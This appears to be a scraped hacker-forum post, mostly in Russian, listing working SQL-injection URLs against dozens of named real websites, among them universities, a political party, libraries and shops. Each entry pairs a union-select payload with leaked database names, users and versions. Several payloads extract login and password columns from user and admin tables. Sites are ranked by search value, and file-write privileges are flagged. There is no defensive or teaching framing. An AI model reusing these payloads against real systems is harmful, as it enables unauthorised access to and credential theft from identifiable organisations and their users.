http://www.ort.be/ortsite/index.php?nid=-134+union+select+1,concat_ws(0x3a,database(),user(),version()),3,4,5,6,7,8,9,10-- ORTWEBSITE:HY_ORTWEBSITE@LOCALHOST:4.1.22-COMMUNITY-NT #################################### Харьковский национальный университет радиоэлектроники Кафедра основ радиотехники http://ort.kture.kharkov.ua/prepod.php?type=view&id=-1'+union+select+1,concat_Ws(0x3a,database(),user(),version()),3,4,5,6,7,8,9/* siteprom_ort:[email protected]:4.1.22-standard-log #################################### http://www.pnp.de/nachrichten/kommunalwahl08/ort.php?id=-1+union+select+1,concat_Ws(0x3a,user(),database(),version()),3,4,5,6,7-- [email protected]:KOMMUNALWAHL_2008:5.1.34-LOG $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ http://www.chorverband-ekhn.de/fcnd/showobject.php?art=ort&id=-1+union+select+concat_Ws(0x3a,database(),user(),version())-- Ort: db230516389:[email protected]:4.0.27-max-log
Code: http://www.thewest.cz/portal/clanek_cely.php?id=-12+union+select+1,2,3,4,5,concat_ws(0x3a,user()),7,8,9,10,11,12,13+from+users-- Code: http://billiard4u.ru/faq/faq.php?id=-1+union+select+1,2,concat_WS(0x3a,password,login),4,5,6+from+user-- Code: http://www.cartell.ru/faq.php?id=-13+union+select+1,2,group_concat(table_name),4+from+information_schema.tables-- Code: http://www.sky-radio.fm/sreda/print.php?sid=-1+union+select+1,2,concat_ws(0x3a,user_name,user_password),4,5,6+from+fphotos_users+limit+0,1--
Мего-дизайнерская контора "Пиментос" со своим дырявым сайтом. http://pimentos.com.ua/?mid=15&action=news_detail&new_id=-74+union+select+1,2,version%28%29,4,5,6,7,8,9,0,1,2,3,14-- В разделе "Наши работы" примерно 90% из почти 60 сайтов имеют sql inj. У всех базы 5-ой ветки. Самые интресные из них: Оффициальный сайт украинской партии "Реформы и порядок" http://www.prp.org.ua/index.php?mid=15&action=posit_full&id=-56+union+select+1,version%28%29,3,4,5,6,7,8,9,0,1-- Сайт всеукраинского журнала "Стройся!" http://www.strojsya.kiev.ua/?mid=4&action=price_list&rubric_id=-3521+union+select+1,2,3,version%28%29,5,6--
http://pfarre.deutschwagram.com/Ort.php?ID=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5-- pfarre@localhostfarre:5.0.22-Debian_0ubuntu6.06.10-log
http://www.air-bed.ru/cover.php?name=compare&id_groups=1'+union+select+unhex(hex(version()))/* http://www.air-bed.ru/cover.php?name=compare&id_groups=1'+union+select+password+from+users/*
http://www.brettex.com.ua/index.php?dir=oblad&page=oblad&dev=35'+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8--+
Code: http://rapl.ru/article.php?id=-39'+union+select+1,version(),3,4,5,6,7,8,9/* Database Version: 5.0.45-community-nt-log Database name: 1gb_x_rplf User name: [email protected] ------------------------------------------------------------------- Code: http://cbskiev.library.ru/system/smi/article.php?id=39+union+select+1,version(),3,4,5,6,7,8,9,0/* Database Version: 4.1.20 Database name: cbskiev_db01 User name: libsites@localhost
Порция сладенького wallace.edu PR 6 5.0.45-community-nt-log:web_mysql@localhost Code: http://www.wallace.edu/student_resources/pathways/news_full_article.htm?id=-14+union+select+1,concat(version(),0x3a,user()),3,4,5,6-- MySql: Code: http://www.wallace.edu/student_resources/pathways/news_full_article.htm?id=-14+union+select+1,concat(user,0x3a,password),3,4,5,6+from+mysql.user-- fasn.rutgers.edu PR 6 root@ru-6j16advh2j9z:5.0.45-community-nt Code: http://fasn.rutgers.edu/announcements.php?id=-14+union+Select+1,2,concat(user(),0x3a,version()),4,5-- File_priv = Y MySql: Code: http://fasn.rutgers.edu/announcements.php?id=-14+union+Select+1,2,concat(user,0x3a,password),4,5+from+mysql.user-- hedgecock.bio.jhu.edu PR 5 4.0.15-standard:webserver@localhost Code: http://hedgecock.bio.jhu.edu/information/article.php?id=-14+union+select+1,2,concat(version(),0x3a,user()),4,5,6-- Code: http://hedgecock.bio.jhu.edu/information/article.php?id=-14+union+select+1,2,concat(name,0x3a,pass),4,5,6+from+users-- library.ccuniversity.edu PR 5 5.0.37-community-nt:root@localhost Code: http://library.ccuniversity.edu/index.php?ID=14+and+1=0+Union+Select+1,concat(version(),0x3a,user()),3-- File_priv = Y
[PR 3] Code: http://www.dreambike.biz/pregled.php?id=-832+union+select+concat_ws(0x3a,version(),database(),user()) 4.1.20:dreambike:dreambike0@localhost table 'admin' Found ==================================== [PR 2] Code: http://www.giacint.biz/sobitiya_txt.php?id=-13+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6 5.0.81-community:favorite_giacint:favorite_favorit@localhost ==================================== [PR 2] Code: http://www.traxon.be/bandpress/product.php?id=9999999999+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14,15,16--&type=sh 5.0.45-Dotdeb_0.dotdeb.1.1.CGA.1:traxon:[email protected] ==================================== [PR 2] Code: http://neftekamsk.biz/section.php?id=-10011+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7 4.1.22-log:wwwurengoyinforu_neftekamsk:[email protected] ==================================== [PR 0] Code: http://blogpost.photowork.biz/item.php?id=-250272+union+select+concat_ws(0x3a,version(),database(),user()) 4.1.22-standard-loghotowor_ecosthotowor_testig@localhost ==================================== [PR 0] Code: http://www.at-rent.be/product.php?id=-50+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())-- 5.0.32-Debian_7etch3-log:atrent:atrent@localhost Code: http://www.at-rent.be/product.php?id=-50+union+select+1,2,3,concat_ws(0x3a,username,user_password)+from+phpbb_users-- ==================================== [PR 0] Code: http://www.boardgameextras.co.uk/item.php?id=270&name=100+Mini+Euro+Card+Sleeves+%2845+MM+X+68+MM%29&cat=48&sub_cat=0+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 4.0.26-standard-log:VerseAD_bgshop:[email protected] ==================================== [PR 0] Code: http://www.psychologi.biz/detail.php?id=99999999+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8 5.0.77:intertime_psyc:intertime_psyc@localhost ==================================== [PR 0] Code: http://biz.bdnews24.com/details.php?id=-89641+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7&cid=4 5.0.45-log:aplustemp:aplus@localhost
http://www.mrech.ru/index.phtml?f=doc5&id_docs=-258/**/UNION/**/SELECT/**/1,password,name,4,5,6,7,8,9+from+admins--+
ТИЦ: 550 PR: 4 http://www.palmq.ru/sections.php?op=viewarticle&artid=-89+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10-- palmqru@localhost:db_palmqru:5.0.51a-community tables: Code: nuke_downloads_editorials,nuke_ephem,nuke_banner,nuke_comments,nuke_quizz_datacontrib,nuke_links_links,nuke_referer,nuke_links_votedata,nuke_reviews_comments,nuke_poll_desc,nuke_sectopics,nuke_quizz_admin,phpads_affiliates,phpads_config,phpads_userlog,nuke_topics,phpads_acls,nuke_downloads_modrequest,nuke_faqAnswer,nuke_bannerclient,nuke_counter,nuke_quizz_categories,nuke_headlines,nuke_quizz_desc,nuke_links_modrequest,nuke_related,nuke_message,nuke_reviews_main,nuke_pollcomments,nuke_sellers,phpads_banners,phpads_images,phpads_zones,nuke_users,phpads_adclicks,nuke_downloads_newdownload,nuke_faqCategories,nuke_authors,nuke_bannerfinish,nuke_downloads_categories,nuke_quizz_check,nuke_links_categories,nuke_quizz_descontrib,nuke_links_newlink,nuke_reviews,nuke_poll_check,nuke_seccont,nuke_priv_msgs,nuke_sellers_cities,phpads_adstats,phpads_cache,phpads_session,nuke_stories,pda_downloads_categories,nuke_downloads_downloads,nuke_downloads_votedata,nuke_graveyard,nuke_autonews,nuke_blocks,nuke_session,nuke_quizz_da
Code: http://synapse-design.de/amanda-tapping/news.php?id=-315+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8-- tapping:5.0.45:[email protected] Code: http://www.heavyworlds.com/news.php?id=-4813+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5-- Sql156633_1:5.0.68-log:[email protected] Code: http://www.hardsignal.net/news.php?read=1&id=-9+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4-- djpauzec_hardsignal:5.0.75-community-log:djpauzec_djpauze@localhost Code: http://www.biomedis.ru/news.php?newsId=-2+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6-- admin_biomedis:5.0.37-standard:admin_ulisss@localhost Code: http://www.underoath777.com/news.php?id=-145+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user()),6-- underoath:5.0.67-log:[email protected]
http://podcastchicago.tv/category.php?id=2611+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 5 ветка.
PR: 4 http://www.animal-law.biz/talk.php?type=gg&view=full&id=1+union+select+1,concat_ws(0x3a,database(),user(),version()),3,4,5,6 anima4:anima4@localhost:4.0.27-log #################################### http://www.opisy-gg.info.pl/categories.php?id=1+and+substring(version(),1,1)=5-- #################################### PR: 3 http://www.gicma.gg/news_view.php?id=1+union+select+concat_ws(0x3a,version(),user(),database()),2,3-- 5.0.82-community:[email protected]:web35-gicma #################################### PR: 4 http://www.ekabaret.pl/gg.php?id=1+and+substring(version(),1,1)=5
Code: http://www.mypsion.ru/news.php?id=-7+union+select+1,UNHEX(hex(concat(0x3c63656e7465723e3c68313e416e7469636861743c2f68313e3c2f63656e7465723e3c62722f3e,user(),0x3c62722f3e,version(),0x3c62722f3e,database()))),3,4,5,6,7,8-- PR:4 ТиЦ: 300 Code: http://www.colortv.ru/news.php?id=-7+union+select+1,2,3,concat(0x3c63656e7465723e3c68313e416e7469636861743c2f68313e3c2f63656e7465723e3c62722f3e,version(),0x3a,user(),0x3a,database()),5,6,7-- PR:4 тNц:40
какая-то online игра HTML: http://questgames.info/e107_plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),user_name,user_password)KHG+from+e107_user+where+user_id=1-- HTML: http://www.sme.com.ph/sme-resources-tools/resources-tools.php?page=articles&id=-23+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6-- 4.1.22-standard:smecom_db:smecom_user@localhost HTML: http://www.robottrading.com.au/tools.php?id=-23+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7-- 4.0.27-Max-log:db_robo_data:[email protected] HTML: http://katalog.motorky.com/moto.php?id=-23+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9-- 5.0.30-Debian_3:motorky@localhost:motorky 3 Табличка moto_users
Code: http://www.wxdu.duke.edu/plmanager/world/djplaylists.php?id=-54+union+select+concat(login,0x3a,password),2,3,4,5,6,7,8,9,10,11+from+logins-- http://www.wxdu.duke.edu/plmanager/
HTML: http://www.evildread.com/asian-reviews/asian_review.php?id=9999+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,10,11,12,13,14,15,16,17,18,19,20 5.0.32-Debian_7etch10-log:evildread_com:[email protected] HTML: http://www.sendandserve.co.uk/publications_detail.php?id=-4+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4-- 5.0.82-community:web20_serve:web20_serve@localhost HTML: http://www.chocolateguns.com/discography.php?id=-10+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 5.0.68-log:Sql121050_1:[email protected]
HTML: http://www.dfhklab.com.hk/eng/main.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 5.0.67-community:dfhklab_db:dfhklab_db@localhost HTML: http://www.igp.pt/main.php?Id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9-- 4.0.14-STANDARD:WOF:JAFONSO@OCTOPUS
